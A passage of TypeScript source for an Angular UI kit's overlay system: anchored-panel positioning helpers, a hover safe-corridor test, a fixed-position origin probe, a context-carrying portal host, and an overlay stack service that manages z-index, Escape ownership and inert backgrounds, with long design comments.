`true`.\n *\n * ★★ ZERO SIZE COUNTS, AND THAT IS THE HALF A `isConnected` CHECK MISSES. An\n *    anchor inside a collapsed accordion, a `display: none` sidebar or a\n *    closed `<details>` is still in the document and still has a parent — it\n *    just has no position any more, and a rect of 0×0 at 0,0 sends the panel\n *    to the top-left corner of the screen. Which is what it did.\n */\nexport function svAnchorLost(anchor: Element | null | undefined): boolean {\n  if (!anchor || !anchor.isConnected) return true;\n  const rect = anchor.getBoundingClientRect();\n  return rect.width === 0 && rect.height === 0;\n}\n\n/**\n * Is the pointer inside the corridor between a trigger and its panel?\n *\n * ★★★ THE GAP IS THE BUG. A hover popover sits `offset` pixels away from its\n *     trigger, so travelling to it means leaving the trigger — and a plain\n *     `mouseleave` close fires while the pointer is in mid-air over that gap.\n *     Every library that gets this right uses the same trick: treat the\n *     triangle between where the pointer left and the panel's near edge as\n *     still being \"on\" the trigger. `OF-12-I1`, `OF-12-M2`.\n *\n * ★★ A TRIANGLE, NOT A BOUNDING BOX. The union of trigger and panel is much\n *    easier to compute and much too generous: with a panel below-left of its\n *    trigger it keeps the popover open while the pointer moves down-RIGHT,\n *    away from both. A safe area you cannot leave is not a safe area, it is a\n *    stuck popover.\n *\n * `from` is the pointer position at the moment it left the trigger.\n */\nexport function svInSafeCorridor(\n  point: { x: number; y: number },\n  from: { x: number; y: number },\n  panel: SvRect,\n): boolean {\n  // The panel's two corners nearest the departure point, forming the far edge\n  // of the corridor.\n  const right = panel.left + panel.width;\n  const bottom = panel.top + panel.height;\n  const corners: [number, number][] =\n    from.y <= panel.top ? [[panel.left, panel.top], [right, panel.top]]\n    : from.y >= bottom ? [[panel.left, bottom], [right, bottom]]\n    : from.x <= panel.left ? [[panel.left, panel.top], [panel.left, bottom]]\n    : [[right, panel.top], [right, bottom]];\n\n  // Inside the panel itself is always safe.\n  if (point.x >= panel.left && point.x <= right && point.y >= panel.top && point.y <= bottom) {\n    return true;\n  }\n\n  // ★★ THE APEX SITS A FEW PIXELS BEHIND THE DEPARTURE POINT, NOT ON IT.\n  //    `from` comes from a `pointerleave`, whose coordinates are fractional\n  //    (150.4), and the moves that follow are often `mousemove`s, whose are\n  //    whole pixels (150). With the apex exactly on the departure point, the\n  //    very first move after leaving the trigger — straight toward the panel —\n  //    rounded to a point fractionally BEHIND the apex, fell outside the wedge,\n  //    and closed the panel on the spot: the store's \"All Categories\" menu\n  //    vanished as the pointer crossed the 8px gap below its trigger. A hand\n  //    also wobbles a pixel or two backwards when it sets off. Moving the apex\n  //    `CORRIDOR_SLOP` px away from the panel absorbs both without widening the\n  //    wedge anywhere a pointer heading elsewhere could use it.\n  const apex: [number, number] =\n    from.y <= panel.top ? [from.x, from.y - CORRIDOR_SLOP]\n    : from.y >= bottom ? [from.x, from.y + CORRIDOR_SLOP]\n    : from.x <= panel.left ? [from.x - CORRIDOR_SLOP, from.y]\n    : [from.x + CORRIDOR_SLOP, from.y];\n  return pointInTriangle(point, apex, corners[0], corners[1]);\n}\n\n/** How far behind the departure point the corridor's apex sits. See above. */\nconst CORRIDOR_SLOP = 6;\n\n/** Barycentric sign test — no square roots, no trigonometry, no epsilon. */\nfunction pointInTriangle(\n  p: { x: number; y: number },\n  a: [number, number],\n  b: [number, number],\n  c: [number, number],\n): boolean {\n  const cross = (\n    ax: number, ay: number, bx: number, by: number, cx: number, cy: number,\n  ) => (bx - ax) * (cy - ay) - (by - ay) * (cx - ax);\n\n  const d1 = cross(a[0], a[1], b[0], b[1], p.x, p.y);\n  const d2 = cross(b[0], b[1], c[0], c[1], p.x, p.y);\n  const d3 = cross(c[0], c[1], a[0], a[1], p.x, p.y);\n  const hasNeg = d1 < 0 || d2 < 0 || d3 < 0;\n  const hasPos = d1 > 0 || d2 > 0 || d3 > 0;\n  return !(hasNeg && hasPos);\n}\n","/**\n * ============================================================================\n *  svFixedOrigin — where a `position: fixed` child of this element really sits\n * ============================================================================\n *\n * ★★★ THE HEURISTIC THIS REPLACES WAS WRONG IN THE COMMON CASE, AND THE BUG\n *     ONLY SHOWED UP AT A VIEWPORT EDGE.\n *\n *     `svPositionAnchored` takes a `container` rect so a panel whose containing\n *     block is NOT the viewport can be corrected for it — a real problem, since\n *     any ancestor with `transform`, `filter`, `perspective`, `backdrop-filter`\n *     or `will-change` steals containment from a `fixed` child.\n *\n *     Four components decided whether they were in that situation by asking\n *     whether the portal host's rect was at the origin:\n *\n *         container: host.left !== 0 || host.top !== 0 ? host : null\n *\n *     But a portal host is a plain `<div>` appended to `<body>`. Nothing\n *     positions it, so it lands in normal flow at the END of the document and\n *     its rect is at whatever y the page content happens to end — never zero on\n *     a page with content. The correction therefore fired on every page, with\n *     the wrong number, and the panel was translated by the length of the\n *     document above it.\n *\n *     Why it survived: the correction moves the panel UP by that offset, and a\n *     panel opened in the middle of a tall page is clamped back into view by\n *     the very next step. It is only when the trigger sits at the bottom edge —\n *     where the panel flips upward and has nowhere left to be clamped to — that\n *     the offset survives to the screen. `e2e/overlay-positioning.spec.ts`\n *     parks the trigger at the edge deliberately, and caught three components\n *     drawing their panel 253px above the top of the window: Dropdown Menu,\n *     Popout and Popover.\n *\n * ★★ SO MEASURE IT, DO NOT INFER IT. A zero-size `position: fixed` probe\n *    inside the host reports exactly one thing: the offset a fixed child of\n *    that host is re-based by. `{0, 0}` means the viewport is still the\n *    containing block — whatever the host's own rect says — and anything else\n *    IS the correction, whichever of the six CSS properties caused it and\n *    whichever ancestor carries it.\n *\n * ★ Cheap enough to call per position pass: one append, one\n *   `getBoundingClientRect` (the callers already force layout twice), one\n *   removal. It never paints — the probe has no size and is gone before the\n *   frame ends.\n */\n\n/** The offset a `position: fixed` child of `host` is re-based by. */\nexport interface SvFixedOrigin {\n  readonly top: number;\n  readonly left: number;\n}\n\nconst ZERO: SvFixedOrigin = { top: 0, left: 0 };\n\n/**\n * Measure where a `position: fixed` child of `host` is anchored.\n *\n * Returns `{ top: 0, left: 0 }` when the viewport is the containing block —\n * the common case, and the one where no correction should be applied.\n *\n * @param host The element the panel is portalled into.\n */\nexport function svFixedOrigin(host: Element | null | undefined): SvFixedOrigin {\n  if (!host || typeof document === 'undefined') return ZERO;\n\n  const probe = document.createElement('div');\n  // `visibility: hidden` rather than `display: none`: a display-none element\n  // has no box, so it would report a zero rect on every page and the measure\n  // would always agree with itself.\n  probe.style.cssText =\n    'position:fixed;top:0;left:0;width:0;height:0;visibility:hidden;pointer-events:none;';\n  probe.setAttribute('aria-hidden', 'true');\n\n  host.appendChild(probe);\n  const rect = probe.getBoundingClientRect();\n  probe.remove();\n\n  // Sub-pixel noise is not a containing block.\n  const top = Math.abs(rect.top) < 0.5 ? 0 : rect.top;\n  const left = Math.abs(rect.left) < 0.5 ? 0 : rect.left;\n  return top === 0 && left === 0 ? ZERO : { top, left };\n}\n\n/**\n * The `container` rect to hand `svPositionAnchored` for a panel portalled into\n * `host` — or `null` when the viewport is still the containing block.\n *\n * `svPositionAnchored` only reads `top`/`left` off it, so the size is carried\n * for completeness rather than used.\n */\nexport function svFixedContainer(\n  host: HTMLElement | null | undefined,\n): { top: number; left: number; width: number; height: number } | null {\n  const origin = svFixedOrigin(host);\n  if (origin.top === 0 && origin.left === 0) return null;\n  const rect = host!.getBoundingClientRect();\n  return { top: origin.top, left: origin.left, width: rect.width, height: rect.height };\n}\n","/**\n * The scoped context a body portal drops, and what to do about it.\n *\n * ★★★ THE SIX THINGS X-8 NAMES ARE NOT SIX PROBLEMS. Portalling to `<body>`\n *     is how an overlay escapes an `overflow: hidden` ancestor, and it costs\n *     the surface everything it was inheriting from where it used to live:\n *     theme, directionality, density, custom properties, the transformed\n *     coordinate space, and the test fixture's DOM root. Sorted by what can\n *     actually be done about each, they are three different kinds of thing:\n *\n *     • **CARRIED** — `dir`, `lang`, and the theme marker. Each has exactly\n *       one correct value, findable with one `closest()` from the origin, and\n *       copying it is unambiguous. Done automatically, here.\n *     • **DECLARED** — custom properties. The set is unbounded and, worse, not\n *       enumerable: `getComputedStyle` will not list inherited custom\n *       properties in every engine, so \"copy them all\" cannot be written at\n *       all, let alone written portably. The caller names the ones that matter\n *       and they are copied by value.\n *     • **ABANDONED ON PURPOSE** — the transformed coordinate space. Escaping\n *       it IS the reason to portal. Positioning code must therefore measure\n *       against the viewport rather than the origin's parent, which is the\n *       positioning engine's job (`X-7`), not this one's.\n *\n *     The sixth, the test fixture's root, is not a context at all — it is why\n *     every spec for a portalled surface queries `document.body`. `root` makes\n *     it configurable rather than implicit.\n *\n * ★★ WHY THE THEME MARKER IS NOT ALREADY FINE. The usual claim is that the\n *    theme survives, because `.dark` is toggled on `documentElement` and a\n *    body portal inherits from there. That is true and it is not the case that\n *    breaks: a LOCALLY dark section — a preview pane, a code sample, an editor\n *    surface — carries its own `.dark`, and a menu opened from inside it\n *    renders light on a dark page. The marker is copied only when the nearest\n *    one is NOT the document element, so the common case stays a no-op.\n */\n\nimport type { DestroyRef } from '@angular/core';\n\n/** Attributes that carry unambiguously and are copied without being asked. */\nconst CARRIED_ATTRIBUTES = ['dir', 'lang'] as const;\n\nexport interface SvPortalHostOptions {\n  /**\n   * The element the surface would have rendered inside — its component host.\n   * The context is read from here; with no origin nothing is copied.\n   */\n  readonly origin?: Element | null;\n  /** Where the host is appended. @default document.body */\n  readonly root?: Element | null;\n  /** Classes for the host element itself. */\n  readonly className?: string;\n  /**\n   * Custom properties to copy by value from the origin's computed style.\n   *\n   * ★ Named, not enumerated, and the reason is not laziness: inherited custom\n   *   properties cannot be listed from `getComputedStyle` portably, so a\n   *   \"copy everything\" implementation would silently copy a different subset\n   *   in every browser. Naming them makes the set a decision instead of an\n   *   accident.\n   */\n  readonly customProperties?: readonly string[];\n  /** Marks the host in the DOM as `data-sv-portal=\"<label>\"`, for debugging. */\n  readonly label?: string;\n  /** Injectable for SSR and tests. */\n  readonly document?: Document;\n  /**\n   * The OWNER whose destruction also destroys this host (`N-4` ownership\n   * cleanup).\n   *\n   * ★ Optional, and additive: every existing caller destroys in its own\n   *   `ngOnDestroy` and keeps working. Passing the owner's `DestroyRef` makes\n   *   the orphaned `<div>` in `<body>` impossible rather than merely unlikely —\n   *   a component that forgets its teardown path, or throws before reaching it,\n   *   still takes its portal with it.\n   */\n  readonly destroyRef?: DestroyRef;\n}\n\nexport interface SvPortalHost {\n  /**\n   * The host element. Append the surface's nodes to this, THEN `attach()`.\n   *\n   * ⚠️ **With no document (SSR) this is `null` at runtime**, despite the type.\n   *    Typed non-null because every caller creates its host on open — a user\n   *    gesture, which never happens on the server — and widening it now would\n   *    break each of them at compile time for a branch they cannot reach.\n   *    Code that may run without a document checks {@link available} first.\n   */\n  readonly element: HTMLElement;\n  /**\n   * `false` for the server stub returned when there is no document: its\n   * {@link element} is `null` and every method is a no-op. `true` otherwise.\n   */\n  readonly available: boolean;\n  /**\n   * Put the host into the document. Idempotent.\n   *\n   * ★★★ SEPARATE FROM CREATION ON PURPOSE, and the repo has a script about\n   *     why (`scripts/fix-portal-insertion-order.mjs`, proven against\n   *     `sv-mention`): a host that enters `<body>` EMPTY and is filled\n   *     afterwards spends a frame as a static-positioned block at the end of\n   *     the document. If the panel is tall enough the page grows, the browser\n   *     queues a `scroll` event, and any component that closes on scroll\n   *     closes the panel it has just opened. Render first, insert once — so\n   *     this API makes the order explicit instead of hoping each caller\n   *     remembers it.\n   */\n  attach(): void;\n  /**\n   * Re-read the origin's context and re-apply it.\n   *\n   * ★ Not decoration: a theme toggle while a menu is open changes the marker\n   *   under it, and nothing about a copied attribute updates itself.\n   */\n  sync(): void;\n  /** Remove the host from the document. Idempotent. */\n  destroy(): void;\n}\n\n/**\n * The nearest theme marker above `el`, or `null` when the only one is the\n * document element — which a body portal already inherits.\n */\nfunction scopedThemeMarker(\n  el: Element,\n  doc: Document,\n): { className: string | null; theme: string | null } {\n  const darkHost = el.closest('.dark');\n  const themeHost = el.closest('[data-theme]');\n  return {\n    className: darkHost && darkHost !== doc.documentElement ? 'dark' : null,\n    theme:\n      themeHost && themeHost !== doc.documentElement\n        ? themeHost.getAttribute('data-theme')\n        : null,\n  };\n}\n\n/** Create a context-carrying portal host. */\nexport function createPortalHost(options: SvPortalHostOptions = {}): SvPortalHost {\n  const doc = options.document ?? (typeof document !== 'undefined' ? document : null);\n  if (!doc) {\n    // SSR: a stub that does nothing and cannot be appended to anything. The\n    // one cast in this file, and it is the documented one on `element`: there\n    // is no document to create an element from, so `null` is the honest value\n    // and `available: false` is how a caller finds out.\n    return {\n      element: null as unknown as HTMLElement,\n      available: false,\n      attach: () => undefined,\n      sync: () => undefined,\n      destroy: () => undefined,\n    };\n  }\n\n  const element = doc.createElement('div');\n  if (options.className) element.className = options.className;\n  if (options.label) element.setAttribute('data-sv-portal', options.label);\n\n  const apply = (): void => {\n    const origin = options.origin;\n    if (!origin) return;\n\n    for (const attr of CARRIED_ATTRIBUTES) {\n      const marked = origin.closest(`[${attr}]`);\n      const value = marked?.getAttribute(attr);\n      // ★ Only a SCOPED value is copied. Taking the document element's `dir`\n      //   would pin the host to the value it already inherits, so a later\n      //   change to it would stop reaching this surface and only this one.\n      if (value && marked !== doc.documentElement) element.setAttribute(attr, value);\n      else element.removeAttribute(attr);\n    }\n\n    const { className, theme } = scopedThemeMarker(origin, doc);\n    element.classList.toggle('dark', className === 'dark');\n    if (theme) element.setAttribute('data-theme', theme);\n    else element.removeAttribute('data-theme');\n\n    const names = options.customProperties;\n    if (names?.length && typeof window !== 'undefined') {\n      const computed = window.getComputedStyle(origin);\n      for (const name of names) {\n        const value = computed.getPropertyValue(name).trim();\n        if (value) element.style.setProperty(name, value);\n        else element.style.removeProperty(name);\n      }\n    }\n  };\n\n  apply();\n\n  let destroyed = false;\n  // ★ Keep the unregister function. A surface that makes a fresh host on every\n  //   open (Speed Dial) and destroys it on close would otherwise leave one dead\n  //   callback on its owner's DestroyRef per open, all retained until the owner\n  //   itself is destroyed.\n  let unregister: (() => void) | null = null;\n  const destroy = (): void => {\n    if (destroyed) return;\n    destroyed = true;\n    unregister?.();\n    unregister = null;\n    element.remove();\n  };\n  unregister = options.destroyRef?.onDestroy(destroy) ?? null;\n  return {\n    element,\n    available: true,\n    attach: () => {\n      if (destroyed || element.isConnected) return;\n      (options.root ?? doc.body).appendChild(element);\n    },\n    sync: () => { if (!destroyed) apply(); },\n    destroy,\n  };\n}\n","import { Injectable } from '@angular/core';\nimport { svWarnOnce } from '../dev/warn-once';\n\n/**\n * Which band of the stacking order a surface belongs to.\n *\n * The band decides how surfaces of DIFFERENT kinds sit relative to each other;\n * push order decides how surfaces of the same kind do. The ordering is the one\n * users already expect: a tooltip describing a button inside a dialog has to\n * draw over that dialog, and a toast reporting the result of what you just did\n * has to draw over everything.\n */\nexport type SvOverlayLayer =\n  | 'anchored'   // popover, popout, dropdown, menubar panel, context menu\n  | 'sheet'      // drawer\n  | 'modal'      // modal, confirm dialog, command palette, fullscreen spinner\n  | 'toast'      // toast stack, alert banner\n  | 'tooltip';   // tooltip — always on top, never dismissible\n\n/**\n * ★★★ TWO KINDS OF SURFACE, AND ONLY ONE OF THEM STACKS BY PUSH ORDER.\n *\n * **Interactive** surfaces — anchored, sheet, modal — are things the user\n * navigates INTO, and they nest: a popover opened from a drawer, a select\n * opened from a dialog. Whatever was opened last must paint on top, exactly as\n * it must own Escape. Ranking them by band gets this backwards — a popover\n * (a band below the sheets) opened inside a drawer would RENDER BEHIND THE DRAWER\n * THAT OPENED IT. Measured, not reasoned: the first cut of this file did that\n * and a DOM probe caught it before it shipped. So they share ONE monotonic\n * counter and push order decides.\n *\n * **Ambient** surfaces — toast, tooltip — are not navigated into. They are\n * raised AT the user, and they must clear whatever is on screen whether they\n * arrived before it or after. Push order is wrong for them in the other\n * direction: a toast shown before a dialog opens would be buried by it. So they\n * sit in fixed high bands and do not participate in the counter at all.\n *\n * That is the whole model. Trying to serve both with one rule is what produced\n * two rounds of wrong answers.\n */\n/**\n * The z-index of the first interactive surface (popover, dropdown, drawer,\n * dialog); each one opened after it goes higher.\n *\n * ★★★ IT IS 9999 BECAUSE THE KIT LIVES INSIDE SOMEBODY ELSE'S PAGE. The panels\n *     were `z-[9999]` before the stack existed, and their docs still say so\n *     (`SV_MODEL_OVERLAY_Z_INDEX`, the AI-04-I3 / AI-07-I3 browser tests). The\n *     stack's first cut started the band at 1000, which silently put every kit\n *     dropdown BELOW the overlay systems a host is likely to already have —\n *     Bootstrap's modal (1050–1070), MUI's (1300–1500), the CDK overlay\n *     container (1000) — so a select opened inside the host's own dialog\n *     rendered behind that dialog. 9999 clears them, and stays far below the\n *     ambient bands (toast 100,000, tooltip 200,000): ~9,000 nested surfaces'\n *     headroom. A host whose layers sit above 9999 sets the component's own\n *     z-index input, which wins.\n */\nexport const SV_OVERLAY_Z_FLOOR = 9999;\n\nconst INTERACTIVE_BASE = SV_OVERLAY_Z_FLOOR;\n\n/** Fixed bands for surfaces that never take part in push order. */\nconst AMBIENT_BASE: Partial<Record<SvOverlayLayer, number>> = {\n  toast:   100_000,\n  tooltip: 200_000,\n};\n\n/**\n * z-indexes reserved for each surface, so one registration can paint more than\n * one element.\n *\n * ★ A drawer is a backdrop AND a panel, and the panel must sit above its own\n *   backdrop but below the next surface's backdrop. One number cannot express\n *   that. Each surface therefore owns `zIndex` … `zIndex + 9` and may use the\n *   spare values for its own internal layering.\n *\n * ★ The gap to the ambient bands is ~99,000 — about ten thousand interactive\n *   surfaces' worth. A page that exhausts it has a different problem.\n */\nconst PER_SURFACE = 10;\n\n/**\n * Is this body child one of `SvLiveAnnouncer`'s shared regions?\n *\n * ★★★ AN INERT LIVE REGION IS A SILENT ONE. `inert` removes a subtree from the\n *     accessibility tree, and the announcer's two regions are body children\n *     created once and kept forever — so the first blocking surface to open\n *     used to mark them inert along with the page, and every announcement made\n *     while ANY dialog was open went nowhere: the toast confirming the dialog's\n *     own save, the form error summary's new count, the async confirm's\n *     failure. The regions contain no focusable content, so leaving them live\n *     costs the modal nothing.\n *\n * Matched by the announcer's own `data-sv-live-region` hook rather than by\n * `aria-live`, so a consumer's region is still theirs to manage.\n */\nfunction isSharedLiveRegion(el: Element): boolean {\n  return el.hasAttribute('data-sv-live-region');\n}\n\nexport interface SvOverlayPushOptions {\n  /**\n   * The surface's own rendered root, for outside-click routing.\n   *\n   * ★★ A GETTER, NOT AN ELEMENT, because the panel usually does not exist yet\n   *    at `push()` time — it is portalled into `<body>` a tick later, and for\n   *    some families not until an animation frame has passed. Capturing the\n   *    node here would capture `null` forever.\n   *\n   *    Omit it and the surface simply cannot be asked about; it still stacks\n   *    and still owns Escape. That is the right default for anything with no\n   *    panel of its own.\n   */\n  readonly element?: () => Element | null | undefined;\n\n  /**\n   * Does this surface block interaction with everything behind it?\n   *\n   * ★★★ INERTNESS IS THE ONE OVERLAY DUTY NO COMPONENT CAN DISCHARGE ALONE,\n   *     and that is why it lives here rather than in seven `ngOnInit`s. \"What\n   *     must be inert\" is a fact about every open surface AT ONCE: a modal\n   *     needs the page behind it inert, AND the drawer it was opened from (that\n   *     is background now too), but not the select it opens itself, and not a\n   *     toast — and no single component can see that set. Two components each doing it locally do not converge on the\n   *     right answer, they fight: the modal marks the drawer inert while the\n   *     drawer marks the modal inert, and whichever ran last wins.\n   *\n   * ★ `aria-modal=\"true\"` without this is a LIE THE KIT WAS TELLING. Four tour\n   *   variants and several dialogs assert it over a page that is still fully\n   *   focusable and still fully in the accessibility tree. `aria-modal` is a\n   *   claim about the rest of the document; `inert` is what makes it true.\n   *\n   * @default false\n   */\n  readonly blocking?: boolean;\n\n  /**\n   * Whether this surface can be dismissed by Escape. @default true\n   *\n   * ★ A non-dismissible surface still gets a z-index and still participates in\n   *   ordering — it is simply invisible to `isTopmost()`. Tooltips and toasts\n   *   are the cases: both sit ABOVE a modal, and neither may take Escape from\n   *   it. Without this distinction a toast arriving mid-dialog would silently\n   *   become the thing Escape closes.\n   */\n  readonly dismissible?: boolean;\n}\n\n/** A surface's registration. Release it when the surface closes. */\nexport interface SvOverlayHandle {\n  /**\n   * The z-index this surface should render at. Stable for its lifetime.\n   *\n   * The surface also owns the nine values above it — see `PER_SURFACE`. A\n   * drawer paints its backdrop at `zIndex` and its panel at `zIndex + 1`.\n   */\n  readonly zIndex: number;\n  /**\n   * True only when this is the topmost DISMISSIBLE surface on the stack.\n   *\n   * This is the Escape test. Call it in the Escape handler and return early\n   * when it is false.\n   */\n  isTopmost(): boolean;\n  /**\n   * Did this click land inside a surface opened ABOVE this one?\n   *\n   * ★★★ THE BUG THIS ANSWERS. Every anchored family closes on an outside\n   *     click, and each decides \"outside\" by asking whether the target is\n   *     inside its own trigger or its own panel. But a nested overlay —\n   *     a select inside a popover, a confirm dialog over a menu — is\n   *     PORTALLED TO `<body>`, so it is inside neither. Clicking one of its\n   *     options therefore reads as a click outside the parent, and the parent\n   *     closes while the user is still using the thing it opened.\n   *\n   *     Local containment cannot see this, because the nesting is a fact about\n   *     the stack rather than about the DOM. Call this before closing.\n   */\n  isInsideHigherSurface(target: Node): boolean;\n\n  /**\n   * The rendered root of the nearest surface pushed BEFORE this one, or `null`.\n   *\n   * ★★ THIS IS THE ONLY PLACE THAT CAN ANSWER IT. \"What was I opened from?\" is\n   *    a fact about the stack, not about the DOM: both surfaces are portalled\n   *    to `<body>` as siblings, so nothing in the tree records that one of them\n   *    was opened from inside the other. Focus restoration needs it for the\n   *    nested case — when the scope that contained the opener is torn down\n   *    before this surface closes, the opener's parent chain leads nowhere and\n   *    the surface underneath is the only sensible place left to land.\n   */\n  surfaceBelow(): Element | null;\n\n  /** Remove this surface from the stack. Idempotent. */\n  release(): void;\n}\n\ninterface Entry {\n  readonly id: number;\n  readonly layer: SvOverlayLayer;\n  readonly dismissible: boolean;\n  readonly blocking: boolean;\n  readonly zIndex: number;\n  readonly element?: () => Element | null | undefined;\n}\n\n/**\n * The overlay stack — who is on top, and who owns Escape.\n *\n * ★★★ THE DEFECT THIS EXISTS TO FIX IS NOT THEORETICAL, AND IT SHIPPED.\n *     `sv-drawer` and `sv-popover` each carried an unconditioned\n *     `@HostListener('document:keydown.escape')` gated only on their OWN\n *     `open()`. The listener is on `document`, so it fires for every instance\n *     at once: with two drawers open, ONE ESCAPE CLOSED BOTH. Same for two\n *     popovers, and for a popover opened from inside a drawer. Every family\n *     answered \"is this keystroke mine?\" locally, and locally the answer is\n *     always yes.\n *\n * ★★★ WHY PUSH ORDER AND NOT THE LAYER DECIDES ESCAPE. It is tempting to say\n *     a modal outranks a popover, so the modal owns Escape. That is wrong, and\n *     it is wrong in the commonest nesting there is: a select dropdown opened\n *     inside a dialog. The user presses Escape expecting the dropdown to close\n *     and the dialog to stay — and a layer-ranked rule closes the dialog out\n *     from under a half-finished form. The surface the user opened LAST is the\n *     one they are interacting with, whatever band it belongs to. So push order\n *     decides ownership; the layer decides only how things paint.\n *\n * ★★ WHY `isTopmost()` IS A QUERY AND NOT AN EVENT. A pushed-based design —\n *    the service listening on `document` and calling the top entry — would\n *    have to own each surface's close semantics, which differ: the drawer\n *    refuses Escape while `loading`, the popover has `closeOnEsc`, the confirm\n *    dialog blocks mid-request. Asking rather than telling leaves those rules\n *    where they belong and makes this service a fact, not a controller.\n *\n * Root-scoped deliberately: one document, one stack. Two instances would each\n * believe they held the top.\n */\n@Injectable({ providedIn: 'root' })\nexport class SvOverlayStackService {\n  private readonly _entries: Entry[] = [];\n  private _nextId = 0;\n\n  /**\n   * The highest z-index handed to an INTERACTIVE surface so far.\n   *\n   * ★ Monotonic, and never reset on release: restarting it would let a newly\n   *   opened panel land on the value of one still on screen, and which of the\n   *   two paints on top would then depend on DOM order — i.e. on nothing the\n   *   component controls.\n   */\n  private _lastZ = INTERACTIVE_BASE - PER_SURFACE;\n\n  /** Per-band ordinal for the ambient layers, which do not share the counter. */\n  private readonly _ambient: Record<string, number> = {};\n\n  /**\n   * The elements this service marked `inert`, so it can unmark exactly those.\n   */\n  private readonly _inertedByUs = new Set<Element>();\n\n  /** Register an opening surface. Call `release()` on the handle when it closes. */\n  push(layer: SvOverlayLayer, options: SvOverlayPushOptions = {}): SvOverlayHandle {\n    const entry: Entry = {\n      id: this._nextId++,\n      layer,\n      dismissible: options.dismissible ?? true,\n      blocking: options.blocking ?? false,\n      element: options.element,\n      zIndex: this._assignZ(layer),\n    };\n    this._entries.push(entry);\n    this._syncInert();\n\n    let released = false;\n    return {\n      zIndex: entry.zIndex,\n      isTopmost: () => this._topDismissibleId() === entry.id,\n      isInsideHigherSurface: (target: Node) => this._isInsideAbove(entry, target),\n      surfaceBelow: () => this._surfaceBelow(entry),\n      release: () => {\n        if (released) return;\n        released = true;\n        const i = this._entries.indexOf(entry);\n        if (i !== -1) this._entries.splice(i, 1);\n        this._syncInert();\n      },\n    };\n  }\n\n  /** How many surfaces are currently registered. Tests and diagnostics. */\n  get size(): number { return this._entries.length; }\n\n  private _assignZ(layer: SvOverlayLayer): number {\n    const ambient = AMBIENT_BASE[layer];\n    if (ambient !== undefined) {\n      const n = this._ambient[layer] ?? 0;\n      this._ambient[layer] = n + 1;\n      return ambient + n * PER_SURFACE;\n    }\n    // Interactive: strictly above everything already open.\n    this._lastZ += PER_SURFACE;\n    return this._lastZ;\n  }\n\n  /**\n   * Walk only the entries pushed AFTER this one.\n   *\n   * ★ Push order, not z-index: an ambient toast painting at 100,000 is above\n   *   everything, but a click on it is not a click \"inside\" the popover\n   *   underneath and must not keep that popover open.\n   */\n  private _isInsideAbove(entry: Entry, target: Node): boolean {\n    const from = this._entries.indexOf(entry);\n    if (from === -1) return false;\n    for (let i = from + 1; i < this._entries.length; i++) {\n      const el = this._entries[i].element?.();\n      if (el?.contains(target)) return true;\n    }\n    return false;\n  }\n\n  /**\n   * The nearest surface below this one that actually has a rendered root.\n   *\n   * ★ Surfaces pushed without an `element` getter are skipped rather than\n   *   terminating the search: they are invisible to every other stack query\n   *   too, and stopping at one would report \"nothing below\" for a surface that\n   *   plainly has something below it.\n   */\n  private _surfaceBelow(entry: Entry): Element | null {\n    const from = this._entries.indexOf(entry);\n    if (from <= 0) return null;\n    for (let i = from - 1; i >= 0; i--) {\n      const el = this._entries[i].element?.();\n      if (el?.isConnected) return el;\n    }\n    return null;\n  }\n\n  /**\n   * Make everything that is not part of an open surface `inert`, or undo it.\n   *\n   * ★★ MARKS BODY CHILDREN, AND THAT IS THE WHOLE TECHNIQUE. Every surface in\n   *    this kit is portalled to `<body>`, so the page and the surfaces are\n   *    SIBLINGS: one pass over `body.children`, excluding any child that holds\n   *    a live surface, is the complete answer. Walking into the page to find\n   *    \"the focusable things behind the dialog\" would be a much larger\n   *    operation and a strictly worse one — it has to run again every time the\n   *    page changes, and it cannot express \"and the accessibility tree too\",\n   *    which `inert` gets for free.\n   *\n   * ★ Only attributes WE set are removed again. A consumer may have its own\n   *   `inert` on a collapsed region, and taking that off when a dialog closes\n   *   would hand them a bug they cannot explain.\n   *\n   * ★★ AND THE SNAPSHOT IS WHAT PROTECTS THE OVERLAY'S OWN PORTAL. `push()`\n   *    runs a tick before the panel is portalled, so at pass time there is\n   *    nothing of this surface's in `<body>` yet — and because the pass only\n   *    ever marks children that ALREADY EXIST, the portal that arrives a tick\n   *    later is never marked. I wrote a `syncInert()` hook for the handle\n   *    first, to \"catch up\" after mounting, and then could not write a test\n   *    that failed without it: every family's portal either predates the push\n   *    or arrives after the pass. It is gone rather than kept as an API nobody\n   *    can justify. If a `MutationObserver` is ever added here, the exclusion\n   *    below is what will keep the overlay's own nodes interactive.\n   *\n   * ⚠️ A body child appended WHILE a blocking surface is open is not marked.\n   *   Fixing that needs a `MutationObserver` on `<body>` for the lifetime of\n   *   every modal, and the case it buys — a third-party widget injecting\n   *   itself mid-dialog — is not worth that. Said plainly rather than left to\n   *   be discovered.\n   */\n  private _syncInert(): void {\n    const doc = typeof document !== 'undefined' ? document : null;\n    if (!doc?.body) return;\n\n    if (!this._entries.some((e) => e.blocking)) {\n      this._clearInert();\n      return;\n    }\n\n    // ★★★ ONLY WHAT IS ABOVE THE TOPMOST BLOCKING SURFACE STAYS LIVE (`X-4`:\n    //     \"who is inert? Everything below the topmost modal surface, including\n    //     other overlays\"). A drawer with a confirm dialog over it is BACKGROUND\n    //     to that dialog: its controls must not be tabbable, and a screen\n    //     reader's virtual cursor must not wander into it while `aria-modal`\n    //     says the dialog is all there is. The first cut kept EVERY open\n    //     surface live, which made the drawer under the dialog exactly as\n    //     reachable as if the dialog were not modal at all.\n    //\n    //     What stays live: the topmost blocking surface, everything opened\n    //     after it (the select inside the dialog), and the AMBIENT bands at\n    //     any depth — a toast or tooltip is raised at the user, not navigated\n    //     into, and switching it off would silence the very thing that reports\n    //     the outcome of what the dialog just did.\n    let topBlocking = -1;\n    for (let i = this._entries.length - 1; i >= 0; i--) {\n      if (this._entries[i].blocking) { topBlocking = i; break; }\n    }\n    const live = this._entries\n      .filter((e, i) => i >= topBlocking || AMBIENT_BASE[e.layer] !== undefined)\n      .map((e) => e.element?.())\n      .filter((el): el is Element => !!el?.isConnected);\n\n    let marked = 0;\n    for (const child of Array.from(doc.body.children)) {\n      const holdsSurface = live.some((el) => child === el || child.contains(el));\n      if (holdsSurface || isSharedLiveRegion(child)) {\n        if (this._inertedByUs.delete(child)) child.removeAttribute('inert');\n        continue;\n      }\n      if (child.hasAttribute('inert')) continue;\n      child.setAttribute('inert', '');\n      this._inertedByUs.add(child);\n      marked++;\n    }\n\n    // ★★ A BLOCKING SURFACE THAT IS NOT PORTALLED CANNOT MAKE ANYTHING INERT,\n    //    because it lives inside the very page it is trying to switch off —\n    //    excluding its body-level ancestor excludes the whole app. The pass\n    //    then does nothing at all, silently, and `aria-modal` goes on lying.\n    